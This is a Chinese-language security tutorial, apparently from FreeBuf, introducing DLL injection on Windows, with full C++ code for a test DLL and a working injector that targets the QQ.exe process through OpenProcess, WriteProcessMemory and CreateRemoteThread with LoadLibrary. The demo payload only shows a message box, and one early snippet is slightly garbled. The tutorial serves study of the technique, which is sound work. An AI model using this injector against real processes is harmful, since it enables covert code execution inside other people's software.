1Thek2
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

基础知识
0x00 什么是DLL
动态链接库,英文缩写DLL,DLL是一个包含可由多个程序,同时使用的代码和数据的库。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。
DLL文件中存放的是各类程序的函数实现过程,当程序需要调用函数时需要先载入DLL,然后取得函数的地址,最后进行调用。使用DLL文件的好处是程序不需要在运行之初加载所有代码,只有在程序需要某个函数的时候才从DLL中取出。另外,使用DLL文件还可以减小程序的体积。
0x01 DLL注入的原理和实现
- DLL注入原理
在windows中,每个进程都有自己的私有地址空间,当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址。你的进程不能创建一个其引用属于另一个进程的内存指针。DLL注入就是强制一个正在运行的进程将攻击者需要注入的dll文件加载到自身进程空间内,进而实现其后续的恶意攻击操作。
原理部分详细可以阅读这篇文章:https://zhuanlan.zhihu.com/p/419626153?utm_medium=social&utm_oi=768452431364227072
而加载DLL就绕不开LoadLibrary()函数,该函数被用于向调用进程的地址空间加载指定模块,而该指定模块可能导致其他模块被加载。
下面是函数说明:
HMODULE WINAPI LoadLibrary(
_IN_ LPCRSTR lpFileName
);
//lpFileName [输入参数]
//模块名称。该模块可能是一个库模块(.dll文件),或者一个可执行模块(.exe文件)
//若字符串指定了一个完全路径,则函数只在该路径下搜索模块;
//若字符串指定了一个相对路径或者无路径的模块名称,则函数使用标准搜索策略来查找模块。
//若函数无法找到模块,则函数执行失败。当指定路径时,必须使用反斜线(\)而不是斜线(/)。
//如果字符串指定了一个无路径的模块名称并且无文件名后缀,则函数默认在模块名称后面添加库文件后缀.dll。
- DLL注入实现
1、附加目标进程
2、在目标进程内分配内存
3、将DLL文件路径,复制到目标进程的内存空间
4、创建一个远程线程,让目标进程调用句柄
5、释放空间
实现过程
0x02 生成一个DLL文件
用vs新建一个DLL项目
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case switch (ul_reason_for_call): case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
在DLL被加载的时候,会传入ul_reason_for_call,指明了被调用的原因,原因如上有4种
DLL_PROCESS_ATTACH:进程创建的时候调用
DLL_PROCESS_DETACH:进程结束的时候调用
DLL_THREAD_ATTACH:线程创建的时候调用
DLL_THREAD_DETACH:线程结束的时候调用
编写如下代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include "Windows.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, //调用DllMain时赋值为DLL_PROCESS_ATTACH LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBoxA(NULL, "DLLInject test!", "DLLInject test!", MB_OK | MB_TOPMOST); //在进程创建的时候弹出一个消息框 break; } return TRUE; }
接下来写执行脚本将DLL注入到其他进程中
执行脚本根据进程名获取了进程pid,拿到进程句柄获取权限,申请内存地址空间,根据传入的绝对路径加载DLL文件,把DLL写入内存,并创建一个远程线执行,最后释放空间
#include "stdlib.h" #include "tchar.h" #include "Windows.h" #include "direct.h" #include "TlHelp32.h" #include "atlstr.h" #define PROCESS_NAME "QQ.exe" //要注入的进程名 //注入函数的实现 bool Inject(DWORD dwPid, WCHAR* szPath) //目标进程PID和DLL路径 { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); //获取进程权限 //执行成功分配内存单元的首地址,不成功就为NULL LPVOID pRemoteAddress = VirtualAllocEx(hProcess, NULL, 1, MEM_COMMIT, PAGE_READWRITE); DWORD dwWriteSize = 0; WriteProcessMemory(hProcess, pRemoteAddress, szPath, wcslen(szPath) * 2 + 2, &dwWriteSize); //把dll写入内存 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, pRemoteAddress, NULL, NULL); //创建一个新的远程线程执行 WaitForSingleObject(hThread, -1); //当句柄所指定的线程有信号的时候,才会返回 VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_COMMIT); // 释放目标空间 return 0; } //根据进程名获取进程Pid DWORD GetPID(CString pProName) { PROCESSENTRY32 pe32 = { 0 }; HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); BOOL bRet = FALSE; DWORD dwPID = 0; if (hSnap == INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot process %d\n", GetLastError()); goto exit; } pe32.dwSize = sizeof(pe32); bRet = Process32First(hSnap, &pe32); while (bRet) { if (lstrcmp(pe32.szExeFile, pProName) == 0) { dwPID = pe32.th32ProcessID; break; } bRet = Process32Next(hSnap, &pe32); } CloseHandle(hSnap); exit: return dwPID; } int _tmain(int argc, _TCHAR *argv[]) { CHAR szDLLPath[MAX_PATH] = { 0 }; wchar_t szPath[] = L"DllMain.dll"; //要注入的DLL DWORD dwPid = 0; dwPid = GetPID(PROCESS_NAME); if (dwPid == NULL) { MessageBox(NULL, L"获取目标进程pid失败!", L"提示", MB_OK); } Inject(dwPid, szPath); //注入dll函数 exit: system("pause"); return 0; }
执行查看效果,这边使用QQ来创建线程,需要先打开QQ
执行成功,成功加载DLL文件
通过监控软件,查看QQ的内存加载,可以看到内存中加载了我们的DLL文件
到此我们对DLL注入有个初步的概念,DLL注入有很多种方法,会在后面的文章种陆续讲解。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)